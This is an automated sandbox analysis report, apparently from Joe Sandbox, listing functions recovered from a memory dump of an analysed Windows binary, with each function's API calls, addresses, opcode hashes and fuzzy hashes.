SetWindowLongW.USER32(?,000000F0,00000000), ref: 00FC2F0B

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: LongWindow$MessageSend
String ID:
API String ID: 2178440468-0
Opcode ID: a6bac163865a9f5be888c63df0f3e06919d170a28ccf99a38b944aaf13c2a55c
Instruction ID: 8cffeba59296894baebce81cd110e9f7d85ad5971e7da97e64dee41f5b893d1d
Opcode Fuzzy Hash: a6bac163865a9f5be888c63df0f3e06919d170a28ccf99a38b944aaf13c2a55c
Instruction Fuzzy Hash: 6D311931A04156AFDB61DF58DE86FA537E1FB4A720F150168F9449F2A1CB72EC40EB41

Function 00F97726 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00F97769
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00F9778F
SysAllocString.OLEAUT32(00000000), ref: 00F97792
SysAllocString.OLEAUT32(?), ref: 00F977B0
SysFreeString.OLEAUT32(?), ref: 00F977B9
StringFromGUID2.OLE32(?,?,00000028), ref: 00F977DE
SysAllocString.OLEAUT32(?), ref: 00F977EC

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: f1890b42882ad3eabea7c203cd5712aa52eb0770224f23947157049d130b9b1a
Instruction ID: cc796317202ed4ff2e8db7fd06cc56a432131a937b43d5ef1d38b84e603ce071
Opcode Fuzzy Hash: f1890b42882ad3eabea7c203cd5712aa52eb0770224f23947157049d130b9b1a
Instruction Fuzzy Hash: 9F21C476A04319AFEF10EFE9CC89DBB77ACEB093647048025F908DB150D670DC45A7A1

Function 00F977FD Relevance: 10.6, APIs: 7, Instructions: 89memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00F97842
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00F97868
SysAllocString.OLEAUT32(00000000), ref: 00F9786B
SysAllocString.OLEAUT32 ref: 00F9788C
SysFreeString.OLEAUT32 ref: 00F97895
StringFromGUID2.OLE32(?,?,00000028), ref: 00F978AF
SysAllocString.OLEAUT32(?), ref: 00F978BD

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: 4e0ea1fe67f168aeaccd7df55fef5c9182ace5fc2de4ff4f6201c78bd988a885
Instruction ID: 897c6a86ecf36a18a5b75055c2d706635aae71ff2ecb935f3ba1f0e7d60c4c9d
Opcode Fuzzy Hash: 4e0ea1fe67f168aeaccd7df55fef5c9182ace5fc2de4ff4f6201c78bd988a885
Instruction Fuzzy Hash: E4217731A14308AFEF10EFA8DC89DAA77ECFB097607148125F915CB1A1D674DC41DB64

Function 00FA04D2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80pipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(0000000C), ref: 00FA04F2
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00FA052E

Strings

nul, xrefs: 00FA0567

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: CreateHandlePipe
String ID: nul
API String ID: 1424370930-2873401336
Opcode ID: a48ff1ec74a7bdbbc197a68f0ee333138bf94b1f32c0cb059dbcc114a097e150
Instruction ID: f21d93a65fe0dc82b1eb36043876e90b48503e1c300d1c159a3db5e3d67f4d1e
Opcode Fuzzy Hash: a48ff1ec74a7bdbbc197a68f0ee333138bf94b1f32c0cb059dbcc114a097e150
Instruction Fuzzy Hash: 782191B5D003059FDB208F29EC05A9A7BB4AF46760F244A18E8A1D31E0DB709940EF60

Function 00FA05A7 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80pipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6), ref: 00FA05C6
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00FA0601

Strings

nul, xrefs: 00FA0639

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: CreateHandlePipe
String ID: nul
API String ID: 1424370930-2873401336
Opcode ID: 42503efe5c6855636095ae7789e8034aad8362f63c81a9c2e836c23228e6679d
Instruction ID: df54424ff4cd0ed0065d456441b41f135855c0deb3ebef8f1fe7c4f48069cf96
Opcode Fuzzy Hash: 42503efe5c6855636095ae7789e8034aad8362f63c81a9c2e836c23228e6679d
Instruction Fuzzy Hash: FD2183B59003059FDB209F69AC05E9A77F4BF96734F200A19F9A1E73E0DB719860EB50

Function 00F6D7DF Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00F6D7A3: _free.LIBCMT ref: 00F6D7CC

_free.LIBCMT ref: 00F6D82D

Part of subcall function 00F629C8: RtlFreeHeap.NTDLL(00000000,00000000,?,00F6D7D1,00000000,00000000,00000000,00000000,?,00F6D7F8,00000000,00000007,00000000,?,00F6DBF5,00000000), ref: 00F629DE
Part of subcall function 00F629C8: GetLastError.KERNEL32(00000000,?,00F6D7D1,00000000,00000000,00000000,00000000,?,00F6D7F8,00000000,00000007,00000000,?,00F6DBF5,00000000,00000000), ref: 00F629F0

_free.LIBCMT ref: 00F6D838
_free.LIBCMT ref: 00F6D843
_free.LIBCMT ref: 00F6D897
_free.LIBCMT ref: 00F6D8A2
_free.LIBCMT ref: 00F6D8AD
_free.LIBCMT ref: 00F6D8B8

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: d5e9bbcb1dbdafe4c8d3bd98f36014f41f46dc5d4a3df644b036f3c2391e0fc8
Instruction ID: d650bb73ab1b75fc19b729ebf519ff975ed6d7710430088d82a6002db4b53f5d
Opcode Fuzzy Hash: d5e9bbcb1dbdafe4c8d3bd98f36014f41f46dc5d4a3df644b036f3c2391e0fc8
Instruction Fuzzy Hash: F4115B71B40B04AADA25BFB0CC47FCB7BFCAF40740F440825B299A6092DA69B505B662

Function 00F9DA5A Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000100,00000000), ref: 00F9DA74
LoadStringW.USER32(00000000), ref: 00F9DA7B
GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 00F9DA91
LoadStringW.USER32(00000000), ref: 00F9DA98
MessageBoxW.USER32(00000000,?,?,00011010), ref: 00F9DADC

Strings

%s (%d) : ==> %s: %s %s, xrefs: 00F9DAB9

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: HandleLoadModuleString$Message
String ID: %s (%d) : ==> %s: %s %s
API String ID: 4072794657-3128320259
Opcode ID: 23d4a50ed12875d37a6ab0c047a63d2119aab1a315a33966e0655725abe4506d
Instruction ID: df3d85e96833a06ef0b816e6c9763479e904a114061c589aa2b3f0e94be33267
Opcode Fuzzy Hash: 23d4a50ed12875d37a6ab0c047a63d2119aab1a315a33966e0655725abe4506d
Instruction Fuzzy Hash: 280117F650020C7FEB11EBA49E8AEE7766CDB04701F404455F749E2041EA749E856F75

Function 00FA096B Relevance: 10.5, APIs: 7, Instructions: 35synchronizationthreadCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(0157EC28,0157EC28), ref: 00FA097B
EnterCriticalSection.KERNEL32(0157EC08,00000000), ref: 00FA098D
TerminateThread.KERNEL32(?,000001F6), ref: 00FA099B
WaitForSingleObject.KERNEL32(?,000003E8), ref: 00FA09A9
CloseHandle.KERNEL32(?), ref: 00FA09B8
InterlockedExchange.KERNEL32(0157EC28,000001F6), ref: 00FA09C8
LeaveCriticalSection.KERNEL32(0157EC08), ref: 00FA09CF

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
String ID:
API String ID: 3495660284-0
Opcode ID: 5a2c2b89bcbfcde72cf81ccc04067a09d1a0f38b106c0385c0904bc696f4baed
Instruction ID: b13c9852d3bcff426178ce099224bb39a5ff3944b79f181bebb6ce438f9e4f68
Opcode Fuzzy Hash: 5a2c2b89bcbfcde72cf81ccc04067a09d1a0f38b106c0385c0904bc696f4baed
Instruction Fuzzy Hash: 5DF01972442A06BBD7415BA4EF8AED6BA39FF06712F402025F206928A0CB759465EFD0

Function 00F35D0A Relevance: 9.3, APIs: 6, Instructions: 276COMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 00F35D30
GetWindowRect.USER32(?,?), ref: 00F35D71
ScreenToClient.USER32(?,?), ref: 00F35D99
GetClientRect.USER32(?,?), ref: 00F35ED7
GetWindowRect.USER32(?,?), ref: 00F35EF8

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Rect$Client$Window$Screen
String ID:
API String ID: 1296646539-0
Opcode ID: 69886b21d9eb3343aab4e6884466c18856ac9cdef58e31bb6452c2d0665d696a
Instruction ID: 0fcf1b24f651401454c33e10509d9f3dc5aa27d8b27c127de2a66b2f337702f8
Opcode Fuzzy Hash: 69886b21d9eb3343aab4e6884466c18856ac9cdef58e31bb6452c2d0665d696a
Instruction Fuzzy Hash: 0DB17A35A0074ADBDB10CFA9C5807EEB7F1FF48320F14841AE8A9D7250DB34AA91EB55

Function 00F601B7 Relevance: 9.3, APIs: 6, Instructions: 269COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 00F600BA
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00F600D6
__allrem.LIBCMT ref: 00F600ED
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00F6010B
__allrem.LIBCMT ref: 00F60122
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00F60140

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
String ID:
API String ID: 1992179935-0
Opcode ID: c0aa086816e9a6b10c8594d9af3fc1b6618250ddc70608c46d0048b3e4fbc764
Instruction ID: 58678b1a9af3c042052dfda87c743ecbaf68b50661eb5899ee5a7509716764ac
Opcode Fuzzy Hash: c0aa086816e9a6b10c8594d9af3fc1b6618250ddc70608c46d0048b3e4fbc764
Instruction Fuzzy Hash: 0581F672A00706ABE7249F78CC41B6B73E9AF42334F24463AF951D7681EB74D948B790

Function 00FB1D10 Relevance: 9.3, APIs: 6, Instructions: 254networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00FB3149: select.WSOCK32(00000000,?,00000000,00000000,?,?,?,00000000,?,?,?,00FB101C,00000000,?,?,00000000), ref: 00FB3195

__WSAFDIsSet.WSOCK32(00000000,?,00000000,00000000,?,00000064,00000000), ref: 00FB1DC0
#17.WSOCK32(00000000,?,?,00000000,?,00000010), ref: 00FB1DE1
WSAGetLastError.WSOCK32 ref: 00FB1DF2
inet_ntoa.WSOCK32(?), ref: 00FB1E8C
htons.WSOCK32(?,?,?,?,?), ref: 00FB1EDB
_strlen.LIBCMT ref: 00FB1F35

Part of subcall function 00F939E8: _strlen.LIBCMT ref: 00F939F2

Part of subcall function 00F36D9E: MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,00000000,00000002,?,?,?,?,00F4CF58,?,?,?), ref: 00F36DBA
Part of subcall function 00F36D9E: MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,?,?,?,00F4CF58,?,?,?), ref: 00F36DED

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: ByteCharMultiWide_strlen$ErrorLasthtonsinet_ntoaselect
String ID:
API String ID: 1923757996-0
Opcode ID: 1586dd5b9ecdedd587f9131292a98d718e9edc13b5dba6ae889d83cc505aa5f5
Instruction ID: f411383df65eccaf937b0551690ec13984b6095cd45aa47dce3ac0df2f8387cd
Opcode Fuzzy Hash: 1586dd5b9ecdedd587f9131292a98d718e9edc13b5dba6ae889d83cc505aa5f5
Instruction Fuzzy Hash: 55A1E031604300AFC320DF21CCA5F6A7BA5BF84328F94894CF5565B2A2CB75ED46EB91

Function 00F661FE Relevance: 9.2, APIs: 6, Instructions: 216COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,00F582D9,00F582D9,?,?,?,00F6644F,00000001,00000001,8BE85006), ref: 00F66258
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,00F6644F,00000001,00000001,8BE85006,?,?,?), ref: 00F662DE
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,8BE85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 00F663D8
__freea.LIBCMT ref: 00F663E5

Part of subcall function 00F63820: RtlAllocateHeap.NTDLL(00000000,?,01001444,?,00F4FDF5,?,?,00F3A976,00000010,01001440,00F313FC,?,00F313C6,?,00F31129), ref: 00F63852

__freea.LIBCMT ref: 00F663EE
__freea.LIBCMT ref: 00F66413

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: f6a5a3dfacb4b755b3fbdcac2cea45d04834f8cc7e21b20d569e6b5817b809f9
Instruction ID: 661cffd7ce330cc872c56ed4ce8c86223a28083d6fdd07e81600f501186a2267
Opcode Fuzzy Hash: f6a5a3dfacb4b755b3fbdcac2cea45d04834f8cc7e21b20d569e6b5817b809f9
Instruction Fuzzy Hash: AE51C372A00216ABDF258F64DD82EBF77A9EF44760F15462AFC05D7240EB34DC44E6A0

Function 00FBBBDB Relevance: 9.2, APIs: 6, Instructions: 191registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00F39CB3: _wcslen.LIBCMT ref: 00F39CBD

Part of subcall function 00FBC998: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00FBB6AE,?,?), ref: 00FBC9B5
Part of subcall function 00FBC998: _wcslen.LIBCMT ref: 00FBC9F1
Part of subcall function 00FBC998: _wcslen.LIBCMT ref: 00FBCA68
Part of subcall function 00FBC998: _wcslen.LIBCMT ref: 00FBCA9E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00FBBCCA
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00FBBD25
RegCloseKey.ADVAPI32(00000000), ref: 00FBBD6A
RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 00FBBD99
RegCloseKey.ADVAPI32(?,?,00000000), ref: 00FBBDF3
RegCloseKey.ADVAPI32(?), ref: 00FBBDFF

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: _wcslen$Close$BuffCharConnectEnumOpenRegistryUpperValue
String ID:
API String ID: 1120388591-0
Opcode ID: d29d884400c4504fbc2fc8bd3b132d07e12c6fff8ce23424e121982ebf59590d
Instruction ID: 7d869a2b9a01da0c2bd4e7deedfe650e886c982b2a96a3cd6fa4d36ca040e6bd
Opcode Fuzzy Hash: d29d884400c4504fbc2fc8bd3b132d07e12c6fff8ce23424e121982ebf59590d
Instruction Fuzzy Hash: E381BC71608241AFC714DF25C881E6ABBE5FF84318F14895CF4998B2A2CB75ED05EF92

Function 00F8F7AD Relevance: 9.2, APIs: 6, Instructions: 183memoryCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(00000035), ref: 00F8F7B9
SysAllocString.OLEAUT32(00000001), ref: 00F8F860
VariantCopy.OLEAUT32(00F8FA64,00000000), ref: 00F8F889
VariantClear.OLEAUT32(00F8FA64), ref: 00F8F8AD
VariantCopy.OLEAUT32(00F8FA64,00000000), ref: 00F8F8B1
VariantClear.OLEAUT32(?), ref: 00F8F8BB

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Variant$ClearCopy$AllocInitString
String ID:
API String ID: 3859894641-0
Opcode ID: 337eafffe8e973b675801510044c2aeaac9c2ee85951afe8bcb784aaa056e466
Instruction ID: db98c6b59cd22b95452b3a137c449cc956cb3b4e92d049a2c02fd263c1ece836
Opcode Fuzzy Hash: 337eafffe8e973b675801510044c2aeaac9c2ee85951afe8bcb784aaa056e466
Instruction Fuzzy Hash: D751D932A00310BEDF14BF65DC96BA9B3A4EF45320F249466E905DF291DB748C48E7A6

Function 00FA910C Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 383COMMON

Download Yara Rule

APIs

Part of subcall function 00F37620: _wcslen.LIBCMT ref: 00F37625

Part of subcall function 00F36B57: _wcslen.LIBCMT ref: 00F36B6A

GetOpenFileNameW.COMDLG32(00000058), ref: 00FA94E5
_wcslen.LIBCMT ref: 00FA9506
_wcslen.LIBCMT ref: 00FA952D
GetSaveFileNameW.COMDLG32(00000058), ref: 00FA9585

Strings

X, xrefs: 00FA9412

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: _wcslen$FileName$OpenSave
String ID: X
API String ID: 83654149-3081909835
Opcode ID: 654d0fab112217057a724e016ec3d241267e1f6f18f6d14e6e7f635b9c81b57c
Instruction ID: fb3f2075051f50f42c67a6834994d7e0d2bb76a5c31450503cbe2922ea8c72be
Opcode Fuzzy Hash: 654d0fab112217057a724e016ec3d241267e1f6f18f6d14e6e7f635b9c81b57c
Instruction Fuzzy Hash: 4EE1A4719083409FC724DF24C881B6AB7E4BF85324F08856DF8899B2A2DB75ED05DB92

Function 00F4920C Relevance: 9.1, APIs: 6, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 00F49BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00F49BB2

BeginPaint.USER32(?,?,?), ref: 00F49241
GetWindowRect.USER32(?,?), ref: 00F492A5
ScreenToClient.USER32(?,?), ref: 00F492C2
SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 00F492D3
EndPaint.USER32(?,?,?,?,?), ref: 00F49321
Rectangle.GDI32(00000000,00000000,00000000,?,?), ref: 00F871EA

Part of subcall function 00F49339: BeginPath.GDI32(00000000), ref: 00F49357

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
